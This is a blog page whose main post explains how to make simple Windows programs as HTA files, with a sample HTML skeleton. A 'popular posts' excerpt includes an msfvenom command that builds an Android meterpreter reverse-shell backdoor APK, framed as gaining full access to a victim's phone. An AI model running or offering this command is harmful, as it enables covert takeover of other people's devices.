Skip to main content

Making HTML windows programs


Building Window program in HTML

HTA Application

It's basically the same as an html file but with a GUI that acts like an executable file with .exe extension. Double click on the .hta file you make to launch the program.


Steps:

Firstly Open your favorite text editor. I'll use Notepad++ in this demo.
Type in your html script.













Then save your script as Test.hta
Make sure the .hta extension is written at the end of the name. The .hta stands for HTML Application. It shall work if you're using Explorer browser 5.0 and above.



A basic start of the html application is:
<html>
<head>
<HTA APPLICATION
ICON="http://www.tugberkugurlu.com/favicon.ico"
SCROLL="auto"
maximiseButton="yes"
minimiseButton="yes">

<title>Simple HTA</title>
</head>
<body>
<p>Your HTML Script goes here</p> </body>
</html>


Several other arguments that goes along with HTA Application:

  • APPLICATIONNAME: Sets the title of the HTA program you're trying to make.
  • BORDER: Defines the type of border you want to use. [e.g thick, thin, none]
    - Default value is Thick.
  • CAPTION: Boolean value Yes/No that specifies if you want to display a caption in the title bar.
    -Default value is Yes
  • ICON: Sets the icon for the program.

Note: You can obviously try it with Notepad if you don't want to download Notepad++. It will work on any text editor.

Popular posts from this blog

How to install the FReMP Stack on Ubuntu 20.04?

Technology keeps on evolving everyday and developers constantly look for more and more things to get their hands-on. In this article, I will be introducing a new full stack framework, called FReMP . The abbreviation used is not the best one, but it just gets the work done in justifiable ways. What on earth is FReMP stack? The FReMP stack is a highly scalable full stack framework, which can be used to build awesome web apps. The acronym stands for F lask, Re actJS, M ongodb and P ython. Unlike other famous stacks such as MEAN and MERN, the FReMP stack uses Python to handle back-end operations. Examples of such operations can be machine learning and artificial intelligence operations, web scraping tools or digital image processing. Step 0: Update your list of installed packages While this is optional, it is always a good practice to update your list of packages and upgrade them for newer versions before starting any installation on your environment. Run the following to do so: $ apt-get

[Android + msf]How to use Metasploit Framework on an Android Device?

Metasploit Framework(msf) Requirements: Linux-based OS You'll need to have msfconsole installed on your machine You'll need to have msfvenom correctly installed on the machine. This will be used to generate the backdoor.  Install apktool as well. Note: This tutorial is meant for educational purposes only. Please don't misguide the purpose of this tutorial, you'll be responsible for any act of Hacking or theft. Steps 1) First of all open up your terminal. (Ctrl + Alt + T) $ sudo apt-get update Update your repositories before starting. 2) Once updated, we can start. Simply follow the steps below to get started: $ sudo msfvenom -p android/meterpreter/reverse_tcp LHOST='xxx.xxx.x.x' LPORT='xxxx' R > testfile.apk Replace "testfile" with any name you want. This will be the Main Activity, which when tapped on your android device will activate meterpreter on your terminal and let you gain full access to the victims android phone.

Learn how to make an auto login bot with Autoit

Start by creating a new directory and make an autoit script. Edit the script and include IE.au3: #include    Suppose we're writing a script which will allow a anyone to sign in his facebook on a scheduled time automatically. It's simple, don't panic! You need to call a function with any name you want. Let's take loginfb() ! call ("loginfb") So, we only have to write the function loginfb now! Func loginfb() Global $oIE = _IECreate ("https://www.facebook.com/") Local $username = _IEGetObjByName ($oIE, "email") Local $password = _IEgetObjByName ($oIE, "pass") Local $button = _IEGetObjById ($oIE, "loginbutton") _IEFormElementSetValue ($username, "") // your email here! _IEFormElementSetValue ($password, "") //your fb password here! Send("{Enter}") EndFunc $username and $password are variables. "email" and "pass" are the names given to the textarea